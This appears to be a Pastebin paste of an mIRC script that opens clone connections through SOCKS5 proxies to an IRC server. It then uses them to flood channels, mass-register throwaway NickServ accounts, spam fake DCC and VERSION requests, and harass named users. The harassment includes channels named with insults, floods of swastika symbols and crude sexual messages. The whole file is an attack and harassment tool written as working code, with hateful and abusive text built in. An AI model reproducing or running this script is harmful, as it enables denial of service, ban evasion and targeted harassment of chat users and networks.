API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 27th, 2017
73
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.97 KB | None | 0 0
raw download clone embed print report
  1. on *:NICK: { if ($nick == %inv) { set %inv $newnick
  2. echo $active inv - $nick - changed to $newnick
  3. }
  4. }
  5. on *:text:*:#: { if ($chan isin %ichan) { set %inv $nick } }
  6. alias pwn {
  7. write -c connected.txt
  8. unset %spy
  9. unset %me
  10. unset %flood
  11. unset %x
  12. if (!$sock(pwn*)) { unset %connected }
  13. set %1- [ $+ [ $1 ] ] $1-
  14. .dns $1
  15. }
  16. on *:dns: {
  17. if (%1- [ $+ [ $dns(0).addr ] ]) {
  18. tokenize 32 %1- [ $+ [ $dns(0).addr ] ]
  19. %p.cloning.server = $dns(0).ip
  20. %p.cloning.port = $2
  21. .timerclone $3 0 clonemeh
  22. if ($4) { set %flood #$$4 }
  23. unset %1- [ $+ [ $dns(0).addr ] ]
  24. }
  25. }
  26. alias f11 {
  27. .timerclone off
  28. sockclose pwn*
  29. }
  30. alias clonemeh {
  31. inc %v
  32. var %yu = $replace($hget(socks,%v),:,$chr(32))
  33. var %1 = $gettok(%yu,1,32)
  34. var %2 = $gettok(%yu,2,32)
  35. if ($hget(socks,%v)) {
  36. sockopen pwn $+ $r(0,9999) $+ $r(0,9999) $+ $r(0,9999) %yu
  37. }
  38. else { unset %v }
  39. }
  40. alias lconvert {
  41. if (!$hget(socks)) { hmake socks 9999 }
  42. if ($hget(socks)) { hfree socks | hmake socks 9999 }
  43. var %po = 1
  44. while ($read(socks.txt,%po)) {
  45. hadd socks %po $read(socks.txt,%po)
  46. inc %po
  47. }
  48. }
  49. alias pwnversion {
  50. pwnraw umode -epMm
  51. sockwrite -n pwn* privmsg $1 : $+ $chr(1) $+ VERSION $+ $chr(1)
  52. }
  53. on *:sockopen:pwn*: {
  54. if (!$sockerr) {
  55. bset &p.cloning.ssenndd 1 5 1 0
  56. ; -t?
  57. sockwrite $sockname &p.cloning.ssenndd
  58. }
  59. }
  60. alias slowjoin {
  61. %b = 1
  62. .timerjoin $+ $r(1,9999) 0 4 jointhem #$$1
  63. }
  64. alias jointhem {
  65. if ($sock(pwn*,%b)) { sockwrite -n $sock(pwn*,%b) join #$$1 | inc %b | halt }
  66. .timerjoin off
  67. }
  68. alias startkill { .timer 0 3 killcm }
  69. alias killcm {
  70. var %tt = 1
  71. while ($sock(pwn*,%tt)) {
  72. if ($sock(pwn*,%tt).mark == 1) { sockwrite -n $sock(pwn*,%tt) join $chr(35) $+ $str($r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z),$r(1,4)) }
  73. inc %tt
  74. }
  75. sockwrite -n pwn* list
  76. }
  77. on *:sockread:pwn*: {
  78. if (!$sockerr) {
  79. if ($sock($sockname).mark != 1) {
  80. sockread &p.cloning.bread
  81. ;echo -s bvar: $bvar(&p.cloning.bread,1,10)
  82. if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
  83. ;echo -s Protocolo Aceptado. Iniciando conexion.
  84. var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
  85. var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
  86. bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  87. sockwrite $sockname &p.cloning.ssenndd
  88. ;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  89. }
  90. if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { sockclose $sockname }
  91. if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) {
  92. sockmark $sockname 1
  93. var %flood.nick $r(a,z) $+ $r(11,99) $+ $str($r(a,z),$r(1,3))
  94. ;sockwrite -nt $sockname pass %flood.nick
  95. sockwrite -nt $sockname nick %flood.nick
  96. sockwrite -nt $sockname user %flood.nick 0 * : $+ %flood.nick
  97. }
  98. if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { sockclose $sockname }
  99. if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { sockclose $sockname }
  100. if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { sockclose $sockname }
  101. }
  102. else {
  103. var %temp
  104. sockread %temp
  105. tokenize 32 %temp
  106. if ($4 == : $+ $chr(1) $+ VERSION $+ $chr(1)) { sockwrite -n $sockname NOTICE $remove($gettok($1,1,33),:) :VERSION mIRC v6.2 Khaled Mardam-Bey }
  107. ;if ($gettok($1,1,33) == :Nickserv) { echo -s $1- }
  108. ;if ($1 != $null) { echo @connected $strip($1-) }
  109. if ($2 == 500) || ($2 == 70) || ($2 == 221) || ($2 == 376) || ($2 == 422) {
  110. ;.timer $+ $sockname 0 1 checksock $sockname
  111. ;sockmark $sockname 1
  112. inc %x
  113. if (%wut) {
  114. if (!$read(c:\users\marshall\poop.txt,%x)) { %x = 1 }
  115. sockwrite -n $sockname nick $read(c:\users\marshall\poop.txt,%x) bold000
  116. sockwrite -n $sockname join %wut
  117. ;sockwrite -n $sockname quit
  118. }
  119. inc %connected
  120. if (!$window(@connected)) { window @connected }
  121. ;titlebar @connected You have %connected clones on %p.cloning.server $+ !
  122. if (%poop) {
  123. sockwrite -n $sockname join #porkpie
  124. sockwrite -n $sockname join #porkpie
  125. sockwrite -n $sockname join #porkpie
  126. sockwrite -n $sockname join #porkpie
  127. sockwrite -n $sockname join #porkpie
  128. sockwrite -n $sockname quit
  129. }
  130. if (%inv) {
  131. set %lolchan $chr(35) $+ Youre_a_fat_bitch_ $+ $r(1,999)
  132. sockwrite -n $sockname join %lolchan
  133. sockwrite -n $sockname invite %inv %lolchan
  134. sockwrite -n $sockname invite %inv %lolchan
  135. sockwrite -n $sockname invite %inv %lolchan
  136. sockwrite -n $sockname quit
  137. }
  138. if (%keke) {
  139. sockwrite -n $sockname join %keke
  140. if (!$nick(%keke.txt,%z)) { set %z 1 }
  141. sockwrite -n $sockname privmsg $nick(%keke,%z) $upper($read(poke.txt) $read(poke.txt) $read(poke.txt))
  142. inc %z
  143. if (%z == 20) { pwnraw quit }
  144. }
  145. }
  146. if (%spy. [ $+ [ $sockname ] ]) { sockwrite -n %spy. [ $+ [ $sockname ] ] $1- }
  147. if ($1 == PING) { sockwrite -n $sockname PONG $2- }
  148. if ($2 == 911) { set %pooperlook 1
  149. while (%pooperlook <= $lines(namesx.txt)) {
  150. if ($read(namesx.txt,%pooperlook) == $4) { write -dl $+ %pooperlook namesx.txt
  151. if (!@froze) { window @froze }
  152. echo @froze $4 delted (FROZEN NICK)
  153. }
  154. inc %pooperlook
  155. }
  156. }
  157. }
  158. }
  159. }
  160. alias checksock { if (!$sock($1)) { sockclose $1 | dec %connected | .timer $+ $1 off | titlebar @connected You have %connected clones on %p.cloning.server $+ ! } }
  161. alias reger {
  162. var %e = 1
  163. while ($sock(pwn*,%e)) {
  164. if ($sock(pwn*,%e).mark == 1) {
  165. var %nickz = $read(poke.txt) $+ $read(poke.txt)
  166. sockwrite -n $sock(pwn*,%e) nick %nickz
  167. sockwrite -n $sock(pwn*,%e) privmsg nickserv :register cakes %nickz $+ @mailinator.com
  168. write temp.txt $sock(pwn*,%e) %nickz
  169. }
  170. inc %e
  171. }
  172. }
  173. alias poo { clipboard $gettok($read(temp.txt,$1),2,32) }
  174. alias sf3 {
  175. inc %wd
  176. if ($read(temp.txt,%wd)) {
  177. sockwrite -n $gettok($read(temp.txt,%wd),1,32) privmsg nickserv :confirm $1
  178. clipboard $gettok($read(temp.txt,%wd),2,32)
  179. write reg.txt $gettok($read(temp.txt,%wd),2,32)
  180. }
  181. else { unset %wd }
  182. }
  183. alias grabprox {
  184. inc %d
  185. if (!$hget(socks,%d)) { %d = 1 }
  186. firewall $replace($hget(socks,%d),:,$chr(32))
  187. server $1-
  188. }
  189. alias allclones { echo -a there are %connected clones on: %p.cloning.server }
  190. alias pwnraw { sockwrite -n pwn* $1- }
  191. alias timeflood {
  192. .timer 0 1 floodery $1-
  193. }
  194. alias floodery {
  195. inc %f
  196. if ($sock(pwn*,%f)) { sockwrite -n $sock(pwn*,%f) $1- | sockwrite -n nick $str($r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z),$r(1,4)) }
  197. else { unset %f }
  198. }
  199. alias fregflood {
  200. var %fg = 1
  201. while ($sock(pwn*,%fg)) {
  202. var %reg = $read(reg.txt)
  203. pwnraw nick %reg wormhole458
  204. pwnraw join %flood
  205. pwnraw quit
  206. inc %fg
  207. }
  208. }
  209. alias jp {
  210. pwnraw join #$$1
  211. pwnraw part #$$1
  212. var %d = 1
  213. while ($sock(pwn*,%d)) {
  214. pwnraw nick $read(poke.txt) $+ $upper($read(poke.txt))
  215. inc %d
  216. }
  217. }
  218. alias ct {
  219. var %y = 1
  220. while ($gettok($1-,%y,32)) {
  221. var %tok = $gettok($1-,%y,32)
  222. var %e = 1
  223. while ($mid(%tok,%e,1)) {
  224. var %c = %c $+ $fmp($mid(%tok,%e,1))
  225. inc %e
  226. }
  227. var %s = %s %c
  228. inc %y
  229. }
  230. sockwrite -n pwn* %targ : $+ %s
  231. }
  232. alias fmp {
  233. if ($r(1,2) == 2) { var %f =  $+ $1 }
  234. if ($r(1,2) == 2) {
  235. if (%f) { var %f =  $+ %f }
  236. else { var %f =  $+ $1 }
  237. }
  238. if ($r(1,2) == 2) {
  239. if (%f) { var %f = $upper(%f) }
  240. else { var %f = $upper($1) }
  241. }
  242. if (%f) { return  $+ $r(0,15) $+ , $+ $r(0,15) $+ %f }
  243. if (!%f) { return  $+ $r(0,15) $+ , $+ $r(0,15) $+ $1 }
  244. }
  245. alias cmd.joinpart { joinpart #$$2 }
  246. alias f.vf {
  247. unset %t
  248. .timer.t 0 3 flood.it
  249. }
  250. alias flood.it {
  251. inc %t
  252. if ($sock(pwn*,%t)) {
  253. var %reg = $read(reg.txt)
  254. sockwrite -n $sock(pwn*,%t) nick %reg wormhole458
  255. .timer 1 2 sockwrite -n $sock(pwn*,%t) join %flood
  256. .timer 1 2 sockwrite -n $sock(pwn*,%t) nick $read(poke.txt) $+ $read(poke.txt)
  257. inc %t
  258. halt
  259. }
  260. .timer.t off
  261. unset %t
  262. }
  263. alias regrand { sockwrite -n $1 nick $2 | write reg.txt $2 | sockwrite -n $1 privmsg nickserv register clockerz $3 }
  264. alias c.vf {
  265. set %targ %flood
  266. unset %s
  267. .timer.n 0 4 c.it
  268. }
  269. alias c.it {
  270. inc %s
  271. if ($sock(pwn*,%s)) {
  272. .timer 1 2 sockwrite -n $sock(pwn*,%s) nick $read(reg.txt) wormhole458
  273. .timer 1 3 sockwrite -n $sock(pwn*,%s) notice %flood %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  274. inc %s
  275. halt
  276. }
  277. .timer.n off
  278. unset %s
  279. }
  280. alias tor { run C:\Program Files\Vidalia Bundle\Tor\tor.exe }
  281. alias changeallnicks {
  282. var %b = 1
  283. while ($sock(pwn*,%b)) {
  284. if ($sock(pwn*,%b).mark == 1) {
  285. if ($1) { sockwrite -n $sock(pwn*,%b) nick $1 $+ $r(1111,9999) }
  286. else { sockwrite -n $sock(pwn*,%b) nick $upper($read(poke2.txt) $+ $read(poke2.txt))
  287. }
  288. inc %b
  289. }
  290. }
  291. }
  292. alias remv {
  293. var %1- = $remove($1-,.)
  294. var %1- = $remove(%1-,@)
  295. var %1- = $remove(%1-,+)
  296. var %1- = $remove(%1-,:)
  297. var %1- = $remove(%1-,$me)
  298. var %1- = $replace(%1-,$chr(32),$chr(44))
  299. echo -a now flooding: %1-
  300. return %1-
  301. }
  302. alias whof {
  303. set %whof 1
  304. if ($2) { set %pm $2- }
  305. names #$$1
  306. }
  307. raw 353:*: {
  308. if (%whof) {
  309. if (!%pm) { pwnversion $remv($4-) }
  310. else {
  311. dccflood $remv($4-)
  312. }
  313. unset %whof
  314. unset %pm
  315. }
  316. }
  317. alias knockflood {
  318. var %z = 1
  319. while ($sock(p.cloning.*,%z)) {
  320. sockwrite -n $sock(p.cloning.*,%z) join %flood
  321. sockwrite -n $sock(p.cloning.*,%z) nick $read(poke.txt) $+ $read(poke.txt)
  322. inc %z
  323. }
  324. }
  325. alias dccflood {
  326. pwnraw umode -epMm
  327. pwnraw notice $remove($1,$me) :DCC Chat ( $+ $randip $+ )
  328. pwnraw privmsg $remove($1,$me) :DCC CHAT chat $longip($randip) 1026
  329. }
  330. alias naziflood {
  331. set %nazi 1
  332. while ($sock(pwn*,%nazi)) {
  333. sockwrite -n $sock(pwn*,%nazi) privmsg $1 $col($str(卐 $+ $chr(32),$r(1,50)))
  334. sockwrite -n $sock(pwn*,%nazi) privmsg $1 $col($str(卐 $+ $chr(32),$r(1,50)))
  335. sockwrite -n $sock(pwn*,%nazi) privmsg $1 $col($str(卐 $+ $chr(32),$r(1,50)))
  336. inc %nazi
  337. }
  338. }
  339. alias dtouch {
  340. set %nazi 1
  341. while ($sock(pwn*,%nazi)) { sockwrite -n $sock(pwn*,%nazi) PRIVMSG $1 :ACTION touches $nick($chan,$r(1,$nick($chan,0))) $+ 's dick
  342. inc %nazi
  343. }
  344. }
  345. alias dtouch2 {
  346. set %nazi 1
  347. while ($sock(pwn*,%nazi)) { sockwrite -n $sock(pwn*,%nazi) PRIVMSG $1 :ACTION touches ratt's dick $r(1,99) times
  348.  
  349. inc %nazi
  350. }
  351. }
  352. alias name2 {
  353. set %nazi 1
  354. while ($sock(pwn*,%nazi)) {
  355. set %nick.lol $read(namesx.txt)
  356. sockwrite -n $sock(pwn*,%nazi) nick %nick.lol %nick.lol
  357. inc %nazi
  358. }
  359. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!